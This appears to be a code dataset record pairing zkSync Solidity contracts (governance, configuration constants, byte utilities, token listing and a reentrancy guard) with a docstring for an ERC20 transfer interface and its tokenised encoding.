if (validators[_validator] != _active) {
validators[_validator] = _active;
emit ValidatorStatusUpdate(_validator, _active);
}
}
/// @notice Check if specified address is is governor
/// @param _address Address to check
function requireGovernor(address _address) public view {
require(_address == networkGovernor, "1g"); // only by governor
}
/// @notice Checks if validator is active
/// @param _address Validator address
function requireActiveValidator(address _address) external view {
require(validators[_address], "1h"); // validator is not active
}
/// @notice Validate token id (must be less than or equal to total tokens amount)
/// @param _tokenId Token id
/// @return bool flag that indicates if token id is less than or equal to total tokens amount
function isValidTokenId(uint16 _tokenId) external view returns (bool) {
return _tokenId <= totalTokens;
}
/// @notice Validate token address
/// @param _tokenAddr Token address
/// @return tokens id
function validateTokenAddress(address _tokenAddr) external view returns (uint16) {
uint16 tokenId = tokenIds[_tokenAddr];
require(tokenId != 0, "1i"); // 0 is not a valid token
return tokenId;
}
function packRegisterNFTFactoryMsg(
uint32 _creatorAccountId,
address _creatorAddress,
address _factoryAddress
) internal pure returns (bytes memory) {
return
abi.encodePacked(
"\x19Ethereum Signed Message:\n141",
"\nCreator's account ID in zkSync: ",
Bytes.bytesToHexASCIIBytes(abi.encodePacked((_creatorAccountId))),
"\nCreator: ",
Bytes.bytesToHexASCIIBytes(abi.encodePacked((_creatorAddress))),
"\nFactory: ",
Bytes.bytesToHexASCIIBytes(abi.encodePacked((_factoryAddress)))
);
}
/// @notice Register creator corresponding to the factory
/// @param _creatorAccountId Creator's zkSync account ID
/// @param _creatorAddress NFT creator address
/// @param _signature Creator's signature
function registerNFTFactoryCreator(
uint32 _creatorAccountId,
address _creatorAddress,
bytes memory _signature
) external {
require(address(nftFactories[_creatorAccountId][_creatorAddress]) == address(0), "Q");
bytes32 messageHash = keccak256(packRegisterNFTFactoryMsg(_creatorAccountId, _creatorAddress, msg.sender));
address recoveredAddress = Utils.recoverAddressFromEthSignature(_signature, messageHash);
require(recoveredAddress == _creatorAddress, "ws");
nftFactories[_creatorAccountId][_creatorAddress] = NFTFactory(msg.sender);
emit NFTFactoryRegisteredCreator(_creatorAccountId, _creatorAddress, msg.sender);
}
/// @notice Set default factory for our contract. This factory will be used to mint an NFT token that has no factory
/// @param _factory Address of NFT factory
function setDefaultNFTFactory(address _factory) external {
requireGovernor(msg.sender);
require(address(_factory) != address(0), "mb1"); // Factory should be non zero
require(address(defaultFactory) == address(0), "mb2"); // NFTFactory is already set
defaultFactory = NFTFactory(_factory);
emit SetDefaultNFTFactory(_factory);
}
function getNFTFactory(uint32 _creatorAccountId, address _creatorAddress) external view returns (NFTFactory) {
NFTFactory _factory = nftFactories[_creatorAccountId][_creatorAddress];
// even if the factory is undefined or has been destroyed, the user can mint NFT
if (address(_factory) == address(0) || !isContract(address(_factory))) {
require(address(defaultFactory) != address(0), "fs"); // NFTFactory does not set
return defaultFactory;
} else {
return _factory;
}
}
/// @return whether the address is a contract or not
/// NOTE: for smart contracts that called `selfdestruct` will return a negative result
function isContract(address _address) internal view returns (bool) {
uint256 contractSize;
assembly {
contractSize := extcodesize(_address)
}
return contractSize != 0;
}
}
pragma solidity ^0.7.0;
// SPDX-License-Identifier: MIT OR Apache-2.0
/// @title zkSync configuration constants
/// @author Matter Labs
contract Config {
/// @dev ERC20 tokens and ETH withdrawals gas limit, used only for complete withdrawals
uint256 internal constant WITHDRAWAL_GAS_LIMIT = 100000;
/// @dev NFT withdrawals gas limit, used only for complete withdrawals
uint256 internal constant WITHDRAWAL_NFT_GAS_LIMIT = 300000;
/// @dev Bytes in one chunk
uint8 internal constant CHUNK_BYTES = 10;
/// @dev zkSync address length
uint8 internal constant ADDRESS_BYTES = 20;
uint8 internal constant PUBKEY_HASH_BYTES = 20;
/// @dev Public key bytes length
uint8 internal constant PUBKEY_BYTES = 32;
/// @dev Ethereum signature r/s bytes length
uint8 internal constant ETH_SIGN_RS_BYTES = 32;
/// @dev Success flag bytes length
uint8 internal constant SUCCESS_FLAG_BYTES = 1;
/// @dev Max amount of tokens registered in the network (excluding ETH, which is hardcoded as tokenId = 0)
uint32 internal constant MAX_AMOUNT_OF_REGISTERED_TOKENS = 1023;
/// @dev Max account id that could be registered in the network
uint32 internal constant MAX_ACCOUNT_ID = 16777215;
/// @dev Expected average period of block creation
uint256 internal constant BLOCK_PERIOD = 15 seconds;
/// @dev ETH blocks verification expectation
/// @dev Blocks can be reverted if they are not verified for at least EXPECT_VERIFICATION_IN.
/// @dev If set to 0 validator can revert blocks at any time.
uint256 internal constant EXPECT_VERIFICATION_IN = 0 hours / BLOCK_PERIOD;
uint256 internal constant NOOP_BYTES = 1 * CHUNK_BYTES;
uint256 internal constant DEPOSIT_BYTES = 6 * CHUNK_BYTES;
uint256 internal constant MINT_NFT_BYTES = 5 * CHUNK_BYTES;
uint256 internal constant TRANSFER_TO_NEW_BYTES = 6 * CHUNK_BYTES;
uint256 internal constant PARTIAL_EXIT_BYTES = 6 * CHUNK_BYTES;
uint256 internal constant TRANSFER_BYTES = 2 * CHUNK_BYTES;
uint256 internal constant FORCED_EXIT_BYTES = 6 * CHUNK_BYTES;
uint256 internal constant WITHDRAW_NFT_BYTES = 10 * CHUNK_BYTES;
/// @dev Full exit operation length
uint256 internal constant FULL_EXIT_BYTES = 11 * CHUNK_BYTES;
/// @dev ChangePubKey operation length
uint256 internal constant CHANGE_PUBKEY_BYTES = 6 * CHUNK_BYTES;
/// @dev Expiration delta for priority request to be satisfied (in seconds)
/// @dev NOTE: Priority expiration should be > (EXPECT_VERIFICATION_IN * BLOCK_PERIOD)
/// @dev otherwise incorrect block with priority op could not be reverted.
uint256 internal constant PRIORITY_EXPIRATION_PERIOD = 14 days;
/// @dev Expiration delta for priority request to be satisfied (in ETH blocks)
uint256 internal constant PRIORITY_EXPIRATION =
PRIORITY_EXPIRATION_PERIOD/BLOCK_PERIOD;
/// @dev Maximum number of priority request to clear during verifying the block
/// @dev Cause deleting storage slots cost 5k gas per each slot it's unprofitable to clear too many slots
/// @dev Value based on the assumption of ~750k gas cost of verifying and 5 used storage slots per PriorityOperation structure
uint64 internal constant MAX_PRIORITY_REQUESTS_TO_DELETE_IN_VERIFY = 6;
/// @dev Reserved time for users to send full exit priority operation in case of an upgrade (in seconds)
uint256 internal constant MASS_FULL_EXIT_PERIOD = 5 days;
/// @dev Reserved time for users to withdraw funds from full exit priority operation in case of an upgrade (in seconds)
uint256 internal constant TIME_TO_WITHDRAW_FUNDS_FROM_FULL_EXIT = 2 days;
/// @dev Notice period before activation preparation status of upgrade mode (in seconds)
/// @dev NOTE: we must reserve for users enough time to send full exit operation, wait maximum time for processing this operation and withdraw funds from it.
uint256 internal constant UPGRADE_NOTICE_PERIOD =
MASS_FULL_EXIT_PERIOD+PRIORITY_EXPIRATION_PERIOD+TIME_TO_WITHDRAW_FUNDS_FROM_FULL_EXIT;
/// @dev Timestamp - seconds since unix epoch
uint256 internal constant COMMIT_TIMESTAMP_NOT_OLDER = 24 hours;
/// @dev Maximum available error between real commit block timestamp and analog used in the verifier (in seconds)
/// @dev Must be used cause miner's `block.timestamp` value can differ on some small value (as we know - 15 seconds)
uint256 internal constant COMMIT_TIMESTAMP_APPROXIMATION_DELTA = 15 minutes;
/// @dev Bit mask to apply for verifier public input before verifying.
uint256 internal constant INPUT_MASK = 14474011154664524427946373126085988481658748083205070504932198000989141204991;
/// @dev Auth fact reset timelock.
uint256 internal constant AUTH_FACT_RESET_TIMELOCK = 1 days;
/// @dev Max deposit of ERC20 token that is possible to deposit
uint128 internal constant MAX_DEPOSIT_AMOUNT = 20282409603651670423947251286015;
uint32 internal constant SPECIAL_ACCOUNT_ID = 16777215;
address internal constant SPECIAL_ACCOUNT_ADDRESS = address(0xFFfFfFffFFfffFFfFFfFFFFFffFFFffffFfFFFfF);
uint32 internal constant SPECIAL_NFT_TOKEN_ID = 2147483646;
uint32 internal constant MAX_FUNGIBLE_TOKEN_ID = 65535;
uint256 internal constant SECURITY_COUNCIL_MEMBERS_NUMBER = 15;
}
pragma solidity ^0.7.0;
// SPDX-License-Identifier: MIT OR Apache-2.0
import "./IERC20.sol";
import "./Bytes.sol";
library Utils {
/// @notice Returns lesser of two values
function minU32(uint32 a, uint32 b) internal pure returns (uint32) {
return a < b ? a : b;
}
/// @notice Returns lesser of two values
function minU64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
/// @notice Returns lesser of two values
function minU128(uint128 a, uint128 b) internal pure returns (uint128) {
return a < b ? a : b;
}
/// @notice Recovers signer's address from ethereum signature for given message
/// @param _signature 65 bytes concatenated. R (32) + S (32) + V (1)
/// @param _messageHash signed message hash.
/// @return address of the signer
/// NOTE: will revert if signature is invalid
function recoverAddressFromEthSignature(bytes memory _signature, bytes32 _messageHash)
internal
pure
returns (address)
{
require(_signature.length == 65, "P"); // incorrect signature length
bytes32 signR;
bytes32 signS;
uint8 signV;
assembly {
signR := mload(add(_signature, 32))
signS := mload(add(_signature, 64))
signV := byte(0, mload(add(_signature, 96)))
}
address recoveredAddress = ecrecover(_messageHash, signV, signR, signS);
require(recoveredAddress != address(0), "p4"); // invalid signature
return recoveredAddress;
}
/// @notice Returns new_hash = hash(old_hash + bytes)
function concatHash(bytes32 _hash, bytes memory _bytes) internal pure returns (bytes32) {
bytes32 result;
assembly {
let bytesLen := add(mload(_bytes), 32)
mstore(_bytes, _hash)
result := keccak256(_bytes, bytesLen)
}
return result;
}
function hashBytesToBytes20(bytes memory _bytes) internal pure returns (bytes20) {
return bytes20(uint160(uint256(keccak256(_bytes))));
}
}
pragma solidity ^0.7.0;
// SPDX-License-Identifier: UNLICENSED
interface NFTFactory {
function mintNFTFromZkSync(
address creator,
address recipient,
uint32 creatorAccountId,
uint32 serialId,
bytes32 contentHash,
// Even though the token id can fit into the uint32, we still use
// the uint256 to preserve consistency with the ERC721 parent contract
uint256 tokenId
) external;
event MintNFTFromZkSync(
address indexed creator,
address indexed recipient,
uint32 creatorAccountId,
uint32 serialId,
bytes32 contentHash,
uint256 tokenId
);
}
pragma solidity ^0.7.0;
// SPDX-License-Identifier: MIT OR Apache-2.0
import "./ReentrancyGuard.sol";
import "./Governance.sol";
import "./ITrustedTransfarableERC20.sol";
import "./Utils.sol";
/// @title Token Governance Contract
/// @author Matter Labs
/// @notice Contract is used to allow anyone to add new ERC20 tokens to zkSync given sufficient payment
contract TokenGovernance is ReentrancyGuard {
/// @notice Token lister added or removed (see `tokenLister`)
event TokenListerUpdate(address indexed tokenLister, bool isActive);
/// @notice Listing fee token set
event ListingFeeTokenUpdate(ITrustedTransfarableERC20 indexed newListingFeeToken, uint256 newListingFee);
/// @notice Listing fee set
event ListingFeeUpdate(uint256 newListingFee);
/// @notice Maximum number of listed tokens updated
event ListingCapUpdate(uint16 newListingCap);
/// @notice The treasury (the account which will receive the fee) was updated
event TreasuryUpdate(address newTreasury);
/// @notice zkSync governance contract
Governance public governance;
/// @notice Token used to collect listing fee for addition of new token to zkSync network
ITrustedTransfarableERC20 public listingFeeToken;
/// @notice Token listing fee
uint256 public listingFee;
/// @notice Max number of tokens that can be listed using this contract
uint16 public listingCap;
/// @notice Addresses that can list tokens without fee
mapping(address => bool) public tokenLister;
/// @notice Address that collects listing payments
address public treasury;
constructor(
Governance _governance,
ITrustedTransfarableERC20 _listingFeeToken,
uint256 _listingFee,
uint16 _listingCap,
address _treasury
) {
initializeReentrancyGuard();
governance = _governance;
listingFeeToken = _listingFeeToken;
listingFee = _listingFee;
listingCap = _listingCap;
treasury = _treasury;
address governor = governance.networkGovernor();
// We add zkSync governor as a first token lister.
tokenLister[governor] = true;
emit TokenListerUpdate(governor, true);
}
/// @notice Adds new ERC20 token to zkSync network.
/// @notice If caller is not present in the `tokenLister` map payment of `listingFee` in `listingFeeToken` should be made.
/// @notice NOTE: before calling this function make sure to approve `listingFeeToken` transfer for this contract.
function addToken(address _token) external nonReentrant {
require(_token != address(0), "z1"); // Token should have a non-zero address
require(_token != 0xaBEA9132b05A70803a4E85094fD0e1800777fBEF, "z2"); // Address of the token cannot be the same as the address of the main zksync contract
require(governance.totalTokens() < listingCap, "can't add more tokens"); // Impossible to add more tokens using this contract
if (!tokenLister[msg.sender] && listingFee > 0) {
// Collect fees
bool feeTransferOk = listingFeeToken.transferFrom(msg.sender, treasury, listingFee);
require(feeTransferOk, "fee transfer failed"); // Failed to receive payment for token addition.
}
governance.addToken(_token);
}
/// Governance functions (this contract is governed by zkSync governor)
/// @notice Set new listing token and fee
/// @notice Can be called only by zkSync governor
function setListingFeeToken(ITrustedTransfarableERC20 _newListingFeeToken, uint256 _newListingFee) external {
governance.requireGovernor(msg.sender);
listingFeeToken = _newListingFeeToken;
listingFee = _newListingFee;
emit ListingFeeTokenUpdate(_newListingFeeToken, _newListingFee);
}
/// @notice Set new listing fee
/// @notice Can be called only by zkSync governor
function setListingFee(uint256 _newListingFee) external {
governance.requireGovernor(msg.sender);
listingFee = _newListingFee;
emit ListingFeeUpdate(_newListingFee);
}
/// @notice Enable or disable token lister. If enabled new tokens can be added by that address without payment
/// @notice Can be called only by zkSync governor
function setLister(address _listerAddress, bool _active) external {
governance.requireGovernor(msg.sender);
if (tokenLister[_listerAddress] != _active) {
tokenLister[_listerAddress] = _active;
emit TokenListerUpdate(_listerAddress, _active);
}
}
/// @notice Change maximum amount of tokens that can be listed using this method
/// @notice Can be called only by zkSync governor
function setListingCap(uint16 _newListingCap) external {
governance.requireGovernor(msg.sender);
listingCap = _newListingCap;
emit ListingCapUpdate(_newListingCap);
}
/// @notice Change address that collects payments for listing tokens.
/// @notice Can be called only by zkSync governor
function setTreasury(address _newTreasury) external {
governance.requireGovernor(msg.sender);
treasury = _newTreasury;
emit TreasuryUpdate(_newTreasury);
}
}
pragma solidity ^0.7.0;
// SPDX-License-Identifier: UNLICENSED
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external;
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external;
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.7.0;
// SPDX-License-Identifier: MIT OR Apache-2.0
// Functions named bytesToX, except bytesToBytes20, where X is some type of size N < 32 (size of one word)
// implements the following algorithm:
// f(bytes memory input, uint offset) -> X out
// where byte representation of out is N bytes from input at the given offset
// 1) We compute memory location of the word W such that last N bytes of W is input[offset..offset+N]
// W_address = input + 32 (skip stored length of bytes) + offset - (32 - N) == input + offset + N
// 2) We load W from memory into out, last N bytes of W are placed into out
library Bytes {
function toBytesFromUInt16(uint16 self) internal pure returns (bytes memory _bts) {
return toBytesFromUIntTruncated(uint256(self), 2);
}
function toBytesFromUInt24(uint24 self) internal pure returns (bytes memory _bts) {
return toBytesFromUIntTruncated(uint256(self), 3);
}
function toBytesFromUInt32(uint32 self) internal pure returns (bytes memory _bts) {
return toBytesFromUIntTruncated(uint256(self), 4);
}
function toBytesFromUInt128(uint128 self) internal pure returns (bytes memory _bts) {
return toBytesFromUIntTruncated(uint256(self), 16);
}
// Copies 'len' lower bytes from 'self' into a new 'bytes memory'.
// Returns the newly created 'bytes memory'. The returned bytes will be of length 'len'.
function toBytesFromUIntTruncated(uint256 self, uint8 byteLength) private pure returns (bytes memory bts) {
require(byteLength <= 32, "Q");
bts = new bytes(byteLength);
// Even though the bytes will allocate a full word, we don't want
// any potential garbage bytes in there.
uint256 data = self << ((32 - byteLength) * 8);
assembly {
mstore(
add(bts, 32), // BYTES_HEADER_SIZE
data
)
}
}
// Copies 'self' into a new 'bytes memory'.
// Returns the newly created 'bytes memory'. The returned bytes will be of length '20'.
function toBytesFromAddress(address self) internal pure returns (bytes memory bts) {
bts = toBytesFromUIntTruncated(uint256(self), 20);
}
// See comment at the top of this file for explanation of how this function works.
// NOTE: theoretically possible overflow of (_start + 20)
function bytesToAddress(bytes memory self, uint256 _start) internal pure returns (address addr) {
uint256 offset = _start + 20;
require(self.length >= offset, "R");
assembly {
addr := mload(add(self, offset))
}
}
// Reasoning about why this function works is similar to that of other similar functions, except NOTE below.
// NOTE: that bytes1..32 is stored in the beginning of the word unlike other primitive types
// NOTE: theoretically possible overflow of (_start + 20)
function bytesToBytes20(bytes memory self, uint256 _start) internal pure returns (bytes20 r) {
require(self.length >= (_start + 20), "S");
assembly {
r := mload(add(add(self, 0x20), _start))
}
}
// See comment at the top of this file for explanation of how this function works.
// NOTE: theoretically possible overflow of (_start + 0x2)
function bytesToUInt16(bytes memory _bytes, uint256 _start) internal pure returns (uint16 r) {
uint256 offset = _start + 0x2;
require(_bytes.length >= offset, "T");
assembly {
r := mload(add(_bytes, offset))
}
}
// See comment at the top of this file for explanation of how this function works.
// NOTE: theoretically possible overflow of (_start + 0x3)
function bytesToUInt24(bytes memory _bytes, uint256 _start) internal pure returns (uint24 r) {
uint256 offset = _start + 0x3;
require(_bytes.length >= offset, "U");
assembly {
r := mload(add(_bytes, offset))
}
}
// NOTE: theoretically possible overflow of (_start + 0x4)
function bytesToUInt32(bytes memory _bytes, uint256 _start) internal pure returns (uint32 r) {
uint256 offset = _start + 0x4;
require(_bytes.length >= offset, "V");
assembly {
r := mload(add(_bytes, offset))
}
}
// NOTE: theoretically possible overflow of (_start + 0x10)
function bytesToUInt128(bytes memory _bytes, uint256 _start) internal pure returns (uint128 r) {
uint256 offset = _start + 0x10;
require(_bytes.length >= offset, "W");
assembly {
r := mload(add(_bytes, offset))
}
}
// See comment at the top of this file for explanation of how this function works.
// NOTE: theoretically possible overflow of (_start + 0x14)
function bytesToUInt160(bytes memory _bytes, uint256 _start) internal pure returns (uint160 r) {
uint256 offset = _start + 0x14;
require(_bytes.length >= offset, "X");
assembly {
r := mload(add(_bytes, offset))
}
}
// NOTE: theoretically possible overflow of (_start + 0x20)
function bytesToBytes32(bytes memory _bytes, uint256 _start) internal pure returns (bytes32 r) {
uint256 offset = _start + 0x20;
require(_bytes.length >= offset, "Y");
assembly {
r := mload(add(_bytes, offset))
}
}
// Original source code: https://github.com/GNSPS/solidity-bytes-utils/blob/master/contracts/BytesLib.sol#L228
// Get slice from bytes arrays
// Returns the newly created 'bytes memory'
// NOTE: theoretically possible overflow of (_start + _length)
function slice(
bytes memory _bytes,
uint256 _start,
uint256 _length
) internal pure returns (bytes memory) {
require(_bytes.length >= (_start + _length), "Z"); // bytes length is less then start byte + length bytes
bytes memory tempBytes = new bytes(_length);
if (_length != 0) {
assembly {
let slice_curr := add(tempBytes, 0x20)
let slice_end := add(slice_curr, _length)
for {
let array_current := add(_bytes, add(_start, 0x20))
} lt(slice_curr, slice_end) {
slice_curr := add(slice_curr, 0x20)
array_current := add(array_current, 0x20)
} {
mstore(slice_curr, mload(array_current))
}
}
}
return tempBytes;
}
/// Reads byte stream
/// @return newOffset - offset + amount of bytes read
/// @return data - actually read data
// NOTE: theoretically possible overflow of (_offset + _length)
function read(
bytes memory _data,
uint256 _offset,
uint256 _length
) internal pure returns (uint256 newOffset, bytes memory data) {
data = slice(_data, _offset, _length);
newOffset = _offset + _length;
}
// NOTE: theoretically possible overflow of (_offset + 1)
function readBool(bytes memory _data, uint256 _offset) internal pure returns (uint256 newOffset, bool r) {
newOffset = _offset + 1;
r = uint8(_data[_offset]) != 0;
}
// NOTE: theoretically possible overflow of (_offset + 1)
function readUint8(bytes memory _data, uint256 _offset) internal pure returns (uint256 newOffset, uint8 r) {
newOffset = _offset + 1;
r = uint8(_data[_offset]);
}
// NOTE: theoretically possible overflow of (_offset + 2)
function readUInt16(bytes memory _data, uint256 _offset) internal pure returns (uint256 newOffset, uint16 r) {
newOffset = _offset + 2;
r = bytesToUInt16(_data, _offset);
}
// NOTE: theoretically possible overflow of (_offset + 3)
function readUInt24(bytes memory _data, uint256 _offset) internal pure returns (uint256 newOffset, uint24 r) {
newOffset = _offset + 3;
r = bytesToUInt24(_data, _offset);
}
// NOTE: theoretically possible overflow of (_offset + 4)
function readUInt32(bytes memory _data, uint256 _offset) internal pure returns (uint256 newOffset, uint32 r) {
newOffset = _offset + 4;
r = bytesToUInt32(_data, _offset);
}
// NOTE: theoretically possible overflow of (_offset + 16)
function readUInt128(bytes memory _data, uint256 _offset) internal pure returns (uint256 newOffset, uint128 r) {
newOffset = _offset + 16;
r = bytesToUInt128(_data, _offset);
}
// NOTE: theoretically possible overflow of (_offset + 20)
function readUInt160(bytes memory _data, uint256 _offset) internal pure returns (uint256 newOffset, uint160 r) {
newOffset = _offset + 20;
r = bytesToUInt160(_data, _offset);
}
// NOTE: theoretically possible overflow of (_offset + 20)
function readAddress(bytes memory _data, uint256 _offset) internal pure returns (uint256 newOffset, address r) {
newOffset = _offset + 20;
r = bytesToAddress(_data, _offset);
}
// NOTE: theoretically possible overflow of (_offset + 20)
function readBytes20(bytes memory _data, uint256 _offset) internal pure returns (uint256 newOffset, bytes20 r) {
newOffset = _offset + 20;
r = bytesToBytes20(_data, _offset);
}
// NOTE: theoretically possible overflow of (_offset + 32)
function readBytes32(bytes memory _data, uint256 _offset) internal pure returns (uint256 newOffset, bytes32 r) {
newOffset = _offset + 32;
r = bytesToBytes32(_data, _offset);
}
/// Trim bytes into single word
function trim(bytes memory _data, uint256 _newLength) internal pure returns (uint256 r) {
require(_newLength <= 0x20, "10"); // new_length is longer than word
require(_data.length >= _newLength, "11"); // data is to short
uint256 a;
assembly {
a := mload(add(_data, 0x20)) // load bytes into uint256
}
return a >> ((0x20 - _newLength) * 8);
}
// Helper function for hex conversion.
function halfByteToHex(bytes1 _byte) internal pure returns (bytes1 _hexByte) {
require(uint8(_byte) < 0x10, "hbh11"); // half byte's value is out of 0..15 range.
// "FEDCBA9876543210" ASCII-encoded, shifted and automatically truncated.
return bytes1(uint8(0x66656463626139383736353433323130 >> (uint8(_byte) * 8)));
}
// Convert bytes to ASCII hex representation
function bytesToHexASCIIBytes(bytes memory _input) internal pure returns (bytes memory _output) {
bytes memory outStringBytes = new bytes(_input.length * 2);
// code in `assembly` construction is equivalent of the next code:
// for (uint i = 0; i < _input.length; ++i) {
// outStringBytes[i*2] = halfByteToHex(_input[i] >> 4);
// outStringBytes[i*2+1] = halfByteToHex(_input[i] & 0x0f);
// }
assembly {
let input_curr := add(_input, 0x20)
let input_end := add(input_curr, mload(_input))
for {
let out_curr := add(outStringBytes, 0x20)
} lt(input_curr, input_end) {
input_curr := add(input_curr, 0x01)
out_curr := add(out_curr, 0x02)
} {
let curr_input_byte := shr(0xf8, mload(input_curr))
// here outStringByte from each half of input byte calculates by the next:
//
// "FEDCBA9876543210" ASCII-encoded, shifted and automatically truncated.
// outStringByte = byte (uint8 (0x66656463626139383736353433323130 >> (uint8 (_byteHalf) * 8)))
mstore(
out_curr,
shl(0xf8, shr(mul(shr(0x04, curr_input_byte), 0x08), 0x66656463626139383736353433323130))
)
mstore(
add(out_curr, 0x01),
shl(0xf8, shr(mul(and(0x0f, curr_input_byte), 0x08), 0x66656463626139383736353433323130))
)
}
}
return outStringBytes;
}
}
pragma solidity ^0.7.0;
// SPDX-License-Identifier: MIT OR Apache-2.0
/**
* @dev Contract module that helps prevent reentrant calls to a function.
*
* Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier
* available, which can be applied to functions to make sure there are no nested
* (reentrant) calls to them.
*
* Note that because there is a single `nonReentrant` guard, functions marked as
* `nonReentrant` may not call one another. This can be worked around by making
* those functions `private`, and then adding `external` `nonReentrant` entry
* points to them.
*
* TIP: If you would like to learn more about reentrancy and alternative ways
* to protect against it, check out our blog post
* https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul].
*
* _Since v2.5.0:_ this module is now much more gas efficient, given net gas
* metering changes introduced in the Istanbul hardfork.
*/
contract ReentrancyGuard {
/// @dev Address of lock flag variable.
/// @dev Flag is placed at random memory location to not interfere with Storage contract.
uint256 private constant LOCK_FLAG_ADDRESS = 0x8e94fed44239eb2314ab7a406345e6c5a8f0ccedf3b600de3d004e672c33abf4; // keccak256("ReentrancyGuard") - 1;
// https://github.com/OpenZeppelin/openzeppelin-contracts/blob/566a774222707e424896c0c390a84dc3c13bdcb2/contracts/security/ReentrancyGuard.sol
// The values being non-zero value makes deployment a bit more expensive,
// but in exchange the refund on every call to nonReentrant will be lower in
// amount. Since refunds are capped to a percentage of the total
// transaction's gas, it is best to keep them low in cases like this one, to
// increase the likelihood of the full refund coming into effect.
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
function initializeReentrancyGuard() internal {
uint256 lockSlotOldValue;
// Storing an initial non-zero value makes deployment a bit more
// expensive, but in exchange every call to nonReentrant
// will be cheaper.
assembly {
lockSlotOldValue := sload(LOCK_FLAG_ADDRESS)
sstore(LOCK_FLAG_ADDRESS, _NOT_ENTERED)
}
// Check that storage slot for reentrancy guard is empty to rule out possibility of double initialization
require(lockSlotOldValue == 0, "1B");
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
uint256 _status;
assembly {
_status := sload(LOCK_FLAG_ADDRESS)
}
// On the first call to nonReentrant, _notEntered will be true
require(_status == _NOT_ENTERED);
// Any calls to nonReentrant after this point will fail
assembly {
sstore(LOCK_FLAG_ADDRESS, _ENTERED)
}
_;
// By storing the original value once again, a refund is triggered (see
// https://eips.ethereum.org/EIPS/eip-2200)
assembly {
sstore(LOCK_FLAG_ADDRESS, _NOT_ENTERED)
}
}
}
/// @dev Interface of the ERC20 standard as defined in the EIP.
/// 1. Implements only `transfer` and `transferFrom` methods
/// 2. These methods return a boolean value in case of a non-revert call
/// NOTE: It is expected that if the function returns true, then the user's balance has
/// changed exactly by `amount` according to the ERC20 standard.
/// Note: Used to perform transfers for tokens that explicitly return a boolean value
/// (if the token returns any other data or does not return at all, then the function call will be reverted)
interface ITrustedTransfarableERC20 {
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
|
@dev Interface of the ERC20 standard as defined in the EIP. 1. Implements only `transfer` and `transferFrom` methods 2. These methods return a boolean value in case of a non-revert call NOTE: It is expected that if the function returns true, then the user's balance has changed exactly by `amount` according to the ERC20 standard. Note: Used to perform transfers for tokens that explicitly return a boolean value (if the token returns any other data or does not return at all, then the function call will be reverted)
|
interface ITrustedTransfarableERC20 {
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
}
| 13,842,835 |
[
1,
1358,
434,
326,
4232,
39,
3462,
4529,
487,
2553,
316,
326,
512,
2579,
18,
404,
18,
29704,
1338,
1375,
13866,
68,
471,
1375,
13866,
1265,
68,
2590,
576,
18,
8646,
2590,
327,
279,
1250,
460,
316,
648,
434,
279,
1661,
17,
266,
1097,
745,
5219,
30,
2597,
353,
2665,
716,
309,
326,
445,
1135,
638,
16,
1508,
326,
729,
1807,
11013,
711,
3550,
8950,
635,
1375,
8949,
68,
4888,
358,
326,
4232,
39,
3462,
4529,
18,
3609,
30,
10286,
358,
3073,
29375,
364,
2430,
716,
8122,
327,
279,
1250,
460,
261,
430,
326,
1147,
1135,
1281,
1308,
501,
578,
1552,
486,
327,
622,
777,
16,
1508,
326,
445,
745,
903,
506,
15226,
329,
13,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
